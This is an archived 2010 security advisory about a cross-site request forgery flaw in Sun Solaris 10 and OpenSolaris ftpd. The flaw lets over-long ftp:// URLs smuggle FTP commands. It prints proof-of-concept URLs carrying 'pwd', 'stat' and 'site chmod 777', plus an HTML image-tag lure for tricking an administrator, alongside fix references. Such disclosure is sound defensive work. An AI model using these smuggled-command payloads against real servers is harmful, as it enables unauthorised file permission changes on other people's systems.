TUCoPS :: SunOS/Solaris :: b1a-1117.htm

Sun Solaris 10 ftpd Cross-site request forgery
Sun Solaris 10 ftpd Cross-site request forgery
Sun Solaris 10 ftpd Cross-site request forgery



-----BEGIN PGP SIGNED MESSAGE-----=0D
Hash: SHA1=0D
=0D
[ Sun Solaris 10 ftpd Cross-site request forgery ]=0D
=0D
Author: Maksymilian Arciemowicz=0D
SecurityReason.com=0D
Date:=0D
- - Dis.: 24.02.2010=0D
- - Pub.: 21.05.2010=0D
=0D
Affected Software:=0D
- - Sun Solaris 10 10/09=0D
- - OpenSoalris 2009.06=0D
=0D
Original URL:=0D
http://securityreason.com/achievement_securityalert/84=0D 
=0D
=0D
- --- 0.Description ---=0D
in.ftpd is the Internet File Transfer Protocol (FTP) server process. The server may be invoked by the Internet daemon inetd(1M)  each time a connection to the FTP service is made or run as a standalone server.=0D
=0D
CWE-352:=0D
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in data disclosure or unintended code execution.=0D
=0D
=0D
- --- 1. Sun Solaris 10 ftpd Cross-site request forgery ---=0D
The main problem exists in dividing long command for few others. The problem stems from the fact the use of the loop for(;;) and function fgets(). etc=0D
=0D
Example:=0D
ftp://ftp.sun.com///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////stat =0D 
=0D
or=0D
=0D
ftp://ftp.sun.com///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////pwd =0D 
=0D
tested od firefox 3.6.3=0D
=0D
Example 2 (2048):=0D
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////pwd=0D
=0D
will be split for:=0D
=0D
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////=0D
=0D
and=0D
=0D
pwd=0D
=0D
Example 3:=0D
ftp://192.168.11.143///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////site chmod 777 .=0D 
=0D
=0D
The situation, can be dangerous, when this bug will be exploited like any CSRF attack. We can use SITE CHMOD command to change file permission or other combinations with ftp commands. Only we need some exploit and luck, that admin will executed exploited url.=0D
=0D
How to exploit it?=0D
=0D
0.=0D
Creating some html file with  tags=0D
=0D">src="ftp://.....////SITE%20CHMOD%20777%20FILENAME">=0D 
...=0D
=0D
1.=0D
Give preparing URL for user.=0D
=0D
Example:=0D
ftp://....////////////////////////////////////////////////////=0D 
///////////////////////////////////////////////////////////////////////////=0D
//SITE%20CHMOD%20777%20EXAMPLEFILE=0D
=0D
will change permision to EXAMPLEFILE when the owner will use this URL.=0D
=0D
I think, it should be some byte, what inform about overflowing (empty command should nulling this byte), like in openbsd fix for ftpd.=0D
=0D
This vulnerability can also be used not only as CSRF. If we create an interface based on PHP-ftp, you can inject arbitrary FTP command, bypassing the access to the FTP server.=0D
=0D
Similar vulnerabilities (1024chars split):=0D
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-014.txt.asc=0D 
http://security.freebsd.org/advisories/FreeBSD-SA-08:12.ftpd.asc=0D 
http://security.freebsd.org/advisories/FreeBSD-SA-09:01.lukemftpd.asc=0D 
=0D
=0D
=0D
- --- 2. Fix ---=0D
Sun bug 6946945=0D
=0D
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/extern.h#rev1.55.8.1=0D 
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpcmd.y#rev1.84.8.1=0D 
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpd.c#rev1.177.6.4=0D 
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/version.h#rev1.65.12.2=0D 
=0D
=0D
- --- 3. Greets ---=0D
sp3x Infospec pi3=0D
=0D
=0D
- --- 4. Contact ---=0D
Author: SecurityReason.com [ Maksymilian Arciemowicz ]=0D
- - cxib {a\./t] securityreason [d=t} com=0D
=0D
GPG:=0D
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg=0D 
=0D
http://securityreason.com/=0D 
http://securityreason.com/exploit_alert/ - Exploit Database=0D 
http://securityreason.com/security_alert/ - Vulnerability Database=0D 
-----BEGIN PGP SIGNATURE-----=0D
=0D
iEYEARECAAYFAkv2dacACgkQpiCeOKaYa9ZuwwCfcLbAFFQOpZ4+2j5sSOvNUa97=0D
7HEAoJLTh6ygjroFhJuboBfgRuIhFEoh=0D
=5zDe=0D
-----END PGP SIGNATURE-----=0D

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH